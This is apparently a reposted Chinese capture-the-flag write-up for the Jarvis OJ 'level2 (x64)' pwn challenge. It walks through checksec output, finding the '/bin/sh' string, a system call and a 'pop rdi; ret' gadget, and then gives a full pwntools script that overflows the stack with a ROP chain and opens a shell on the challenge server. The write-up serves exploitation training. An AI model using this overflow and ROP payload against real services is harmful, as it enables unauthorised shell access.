当前位置: 代码迷 >> 综合 >> Jarvis OJ [XMAN]level2(x64)
  详细解决方案

Jarvis OJ [XMAN]level2(x64)

热度:58   发布时间:2023-12-13 04:55:56.0
liu@liu-F117-F:~/桌面/oj/level2_x64$ checksec level2_x64 [*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level2_x64/level2_x64'Arch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000) 

只开启了NX保护,64位的系统

data:0000000000600A90 hint db '/bin/sh',0

有/bin/sh字符串

text:000000000040063E                 call    _system

有call system
为了让它们连接到一起需要给system函数传递参数要用到ROP用程序自带的内容实现一些不可告人的操作。

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。所以我们要想办法向rdi里面写入参数

liu@liu-F117-F:~/桌面/oj/level2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi
0x00000000004006b3 : pop rdi ; ret

运气不错,搜索到了。

from pwn import *system_addr=0x000000000040063E
poprdi_drt=0x00000000004006b3
binsh_addr=0x0000000000600A90
p=remote("pwn2.jarvisoj.com",9882)
p.recvline()
payload='A'*0x80+"A"*8+p64(poprdi_drt)+p64(binsh_addr)+p64(system_addr)
p.send(payload)
p.interactive()

这里重要的是payload的构造。相比起来32位略显不好控制。不过只要控制住pop传参,传完之后rbp的位置,就能pwn